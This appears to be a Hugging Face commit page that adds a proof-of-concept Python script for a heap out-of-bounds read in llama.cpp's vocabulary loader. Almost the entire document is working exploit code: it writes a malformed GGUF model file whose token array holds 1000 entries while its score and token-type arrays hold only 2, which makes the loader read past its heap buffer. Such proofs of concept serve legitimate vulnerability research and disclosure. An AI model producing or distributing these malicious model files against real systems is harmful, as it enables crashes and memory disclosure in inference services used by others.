jdhart81 commited on
Commit
04ebee8
·
verified ·
1 Parent(s): 229ea7e

Add llama.cpp vocab OOB read PoC

Browse files
Files changed (1) hide show
  1. poc_vocab_oob.py +48 -0
poc_vocab_oob.py ADDED
@@ -0,0 +1,48 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: Heap Out-of-Bounds Read via Token/Score/TokenType Array Size Mismatch
4
+ Target: llama.cpp / llamafile — llama-vocab.cpp
5
+ Severity: High (CWE-125 OOB Read)
6
+
7
+ Generates a .gguf with 1000 tokens but only 2 scores/toktypes entries.
8
+ llama-vocab.cpp accesses scores[i] and toktypes[i] for i up to 999,
9
+ reading ~3992 bytes past the heap allocation.
10
+ """
11
+ import struct, sys, os
12
+
13
+ GGUF_MAGIC = b'GGUF'
14
+ GGUF_VERSION = 3
15
+ GGUF_TYPE_UINT32, GGUF_TYPE_INT32, GGUF_TYPE_FLOAT32 = 4, 5, 6
16
+ GGUF_TYPE_STRING, GGUF_TYPE_ARRAY, GGUF_TYPE_UINT64 = 8, 9, 10
17
+
18
+ def ws(f, s):
19
+ e = s.encode('utf-8'); f.write(struct.pack('<Q', len(e))); f.write(e)
20
+
21
+ def wks(f, k, v): ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_STRING)); ws(f, v)
22
+
23
+ def wksa(f, k, ss):
24
+ ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
25
+ f.write(struct.pack('<i', GGUF_TYPE_STRING)); f.write(struct.pack('<Q', len(ss)))
26
+ for s in ss: ws(f, s)
27
+
28
+ def wkfa(f, k, fs):
29
+ ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
30
+ f.write(struct.pack('<i', GGUF_TYPE_FLOAT32)); f.write(struct.pack('<Q', len(fs)))
31
+ for v in fs: f.write(struct.pack('<f', v))
32
+
33
+ def wkia(f, k, ns):
34
+ ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
35
+ f.write(struct.pack('<i', GGUF_TYPE_INT32)); f.write(struct.pack('<Q', len(ns)))
36
+ for v in ns: f.write(struct.pack('<i', v))
37
+
38
+ N_TOK, N_SC = 1000, 2
39
+ with open("malicious_vocab_oob.gguf", 'wb') as f:
40
+ f.write(GGUF_MAGIC + struct.pack('<I', GGUF_VERSION) + struct.pack('<q', 0) + struct.pack('<q', 6))
41
+ wks(f, "general.architecture", "llama")
42
+ wks(f, "general.name", "poc-vocab-oob")
43
+ wksa(f, "tokenizer.ggml.tokens", [f"tok_{i}" for i in range(N_TOK)])
44
+ wkfa(f, "tokenizer.ggml.scores", [0.0]*N_SC)
45
+ wkia(f, "tokenizer.ggml.token_type", [0]*N_SC)
46
+ wks(f, "tokenizer.ggml.model", "llama")
47
+ print(f"Generated malicious_vocab_oob.gguf — {N_TOK} tokens, {N_SC} scores/types")
48
+ print(f"OOB read: ~{(N_TOK-N_SC)*4} bytes past heap allocation")